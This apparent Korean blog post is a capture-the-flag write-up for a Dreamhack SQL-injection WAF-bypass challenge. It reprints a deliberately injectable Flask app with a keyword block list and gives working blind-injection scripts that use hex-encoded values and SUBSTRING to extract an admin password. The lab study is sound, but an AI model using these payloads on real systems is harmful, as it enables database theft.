오늘을 dreamhack에 sql injection bypass WAF Advanced을 풀어보도록 하자
일단 이것이 전체 코드 이다
import os
from flask import Flask, request
from flask_mysqldb import MySQL
app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)
template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<pre>{result}</pre><hr/>
<form>
<input tyupe='text' name='uid' placeholder='uid'>
<input type='submit' value='submit'>
</form>
'''
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/',
'\n', '\r', '\t', '\x0b', '\x0c', '-', '+']
def check_WAF(data):
for keyword in keywords:
if keyword in data.lower():
return True
return False
@app.route('/', methods=['POST', 'GET'])
def index():
uid = request.args.get('uid')
if uid:
if check_WAF(uid):
return 'your request has been blocked by WAF.'
cur = mysql.connection.cursor()
cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
result = cur.fetchone()
if result:
return template.format(uid=uid, result=result[1])
else:
return template.format(uid=uid, result='')
else:
return template
if __name__ == '__main__':
app.run(host='0.0.0.0')
여기서 우리가 알수 있는것은 sql을 보낼때 keyword를 통해서 저러한 텍스트들이 들어가면 필터링된다는것을 알수 있다.

여기서 우리가 알수 있는것은 uid라는 칸에 값을 넣으면 위에 넣은 값이 나오고 넣은 값이 테이블에 있다면
위에 입력한 uid가 나오는 것을 알수 있다. 그러면 우리가 여기서 찾아야 하는것이 무엇인지 알기 위해
dokerfile을 봐보도록 하자
FROM python:3.10-slim-buster
# ENV
ENV user dreamhack
ENV port 5000
# SET packages
RUN apt-get update -y && apt-get install -y python3-pip python-dev build-essential default-libmysqlclient-dev pkg-config
RUN apt-get install mariadb-common mariadb-server mariadb-client -y
# SET challenges
RUN adduser $user
ADD ./deploy /app
WORKDIR /app
RUN pip install -r requirements.txt
RUN chmod +x run.sh
# DB
RUN /bin/bash -c "/usr/bin/mysqld_safe &" && \
sleep 5 && \
mysql -uroot < /app/init.sql
RUN rm /app/init.sql
# RUN
#USER $user
EXPOSE $port
CMD ["./run.sh"]
이런식으로 나와있는데 이걸 이용하여

이런식으로 우리가 현재 보고 있는 환경을 재현 했을때 현재 테이블에 무엇이 있는지 봐보면 존재 하는 uid는 admin, guest, test, adcde, dream이 있는것을 알수 있고 그중에 admin에 FLAG가 있는 것을 알수 있다. 또한 users에 FLAG가 있는 부분에 컬럼명이 upw인것을 알수 있다.그러면 이제 부터 진짜 sql을 해보자
일단 우리가 uid 부분에 값을 넣었을때 현재 DB에 있는 값을 조회 하게 된다
그러면 이것을 이용하여 조건을 넣어주게 되면 우리가 원하는 것들을 알수 있는데
SELECT *FROM users WHERE uid = '{uid}';가 실행 되게 되는데 여기서 {uid}는 우리가 값을 넣어 줄수 있는데
그러면 우리가 무차별 대입공격을 하기 위해서는 현재 우리가 찾아야 하는 값이 얼마나 긴지를 알아야 효율적으로 할수 있다.
그리하여
import requests
URL="http://host3.dreamhack.games:18441/"
i = 0
while(True):
i+=1
find = f"'||uid=0x61646d696e&&CHAR_LENGTH(upw)={i}#"
response = requests.get(URL, params={"uid" : find})
if "<pre></pre>" not in response.text:
print(f"문자열 길이 : {i}")
break
이런식으로 while문을 통해서 admin이면서 CHAR_LENGTH는 조회할 값에 문자열에 갯수를 알려주는 함수이다 이것을 이용해
문자열에 길이를 알아 낼것 인데 여기서 왜 or 이 들어가있느냐 여기서 admin이라는 값을 직접적으로 사용할수 없기 때문에
그것을 우회하기 위해서 '' 즉 원래 uid가 들어가야 할 값을 비우면서 ||을 이용하여 뒤에 있는 조건을 충족 하도록 우회 한것이다.
그리하고 ui=admin&&CHAR_LENGTH(upw)를 할것인데 admin은 필터링 되므로 admin을 16진수로 변환한 값으로 넣어주게 된다.
import requests
URL="http://host3.dreamhack.games:18441/"
i = 0
for i in range(45):
find = f"'||uid=0x61646d696e&&OCTET_LENGTH(upw)={i}#"
response = requests.get(URL, params={"uid" : find})
if "<pre></pre>" not in response.text:
print(f"바이트 수 : {i}")
break
여기서 OCTET_LENGTH는 문자열을 총 몇바이트인지 나타내는것 이다.
그러면 이걸 이용해서 총 byte수를 구해보면 문자열에 갯수와 byte에 수가 같기 때문에 범위가 유니코드를 포함 하지 않은
ASCII코드만으로 flag가 써있는것을 알수 있다.
import requests
URL = "http://host3.dreamhack.games:18441/"
hex_result = ""
for i in range(1, 89):
for digit in "0123456789ABCDEF":
payload = (
f"'||uid=0x61646d696e&&SUBSTRING(HEX(upw),{i},1)"
f"='{digit}'#"
)
response = requests.get(
URL,
params={"uid": payload},
)
if "<pre></pre>" not in response.text:
hex_result += digit
print(f"{i}/88: {hex_result}")
break
print("HEX:", hex_result)
print("비밀번호:", bytes.fromhex(hex_result).decode("utf-8"))
그러면 이런식으로 코드를 짤수 있는데 여기서 SUBSTRING(가져올 문자열, 시작위치, 몇개를 가져올지)형태이고
16진수로 바꿨을때 들어올수 있는 후보 0~f까지를 하나씩 넣어보면서 조건에 충족 하면 그것을 hex_result에 저장하고 모든
값을 알았으면 그것을 utf-8로 디코딩 해주게 되면 플래그가 나오게 된다.
'웹해킹' 카테고리의 다른 글
| Command Injection (0) | 2026.10.27 |
|---|---|
| baby-union (0) | 2026.10.25 |
| blind sql injection advanced (0) | 2026.10.24 |
| Black-Hacker-Company (0) | 2026.10.20 |
| web-ssrf (0) | 2026.10.19 |